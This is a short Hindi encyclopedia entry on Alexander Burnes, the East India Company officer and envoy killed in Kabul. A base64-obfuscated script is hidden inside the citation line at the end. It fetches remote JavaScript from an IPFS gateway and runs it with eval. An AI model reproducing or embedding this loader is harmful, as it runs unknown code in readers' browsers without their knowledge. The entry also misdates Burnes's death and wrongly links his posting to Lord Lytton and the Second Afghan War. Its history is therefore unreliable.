अलेक्जण्डर बर्न्स

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अलेक्जण्डर बर्न्स (1805-41 ई.) ईस्ट इण्डिया कम्पनी की सैनिक सेवा में 16 वर्ष की उम्र में दाख़िल हुआ था। उसने फ़ारसी भाषा को सीखा और एक कुशल रानीतिज्ञ के रूप में ख्याति प्राप्त की। उसे 1830 ई. में विशिष्ट कार्य के लिए रणजीत सिंह के दरबार में लाहौर और बाद में अफ़ग़ानिस्तान, बुख़ारा और फ़ारस भेजा गया था।

  • ऊपरी तौर पर उसकी यात्रा का उद्देश्य व्यावसायिक घोषित किया गया था।
  • वास्तविकता यह थी कि उसे काबुल में रूसी एजेन्ट की गतिविधियाँ जानने के लिए भेजा गया था।
  • भारत लौटने पर उसने अमीर दोस्त मुहम्मद का समर्थन करने की सलाह दी, किन्तु उसकी राय को ठुकरा दिया गया।
  • लॉर्ड लिटन प्रथम द्वारा अपनाई गई आक्रामक नीति के परिणामस्वरूप द्वितीय अफ़ग़ान युद्ध हुआ।
  • युद्ध के दौरान बर्न्स डब्ल्यू.एच. मैकनाघटन की अधीनता में काबुल में पोलिटिकल एजेन्ट नियुक्त किया गया।
  • इसी समय 2 नवम्बर, 1840 ई. को काबुल में अफ़ग़ानों ने बग़ावत कर दी और बर्न्स की हत्या कर दी गई।
  • इस प्रकार लॉर्ड लिटन की आक्रमक नीति का दण्ड अलेक्जण्डर बर्न्स को भुगतना पड़ा।


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टीका टिप्पणी और संदर्भ

भारतीय इतिहास कोश |लेखक: सच्चिदानन्द भट्टाचार्य |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 273 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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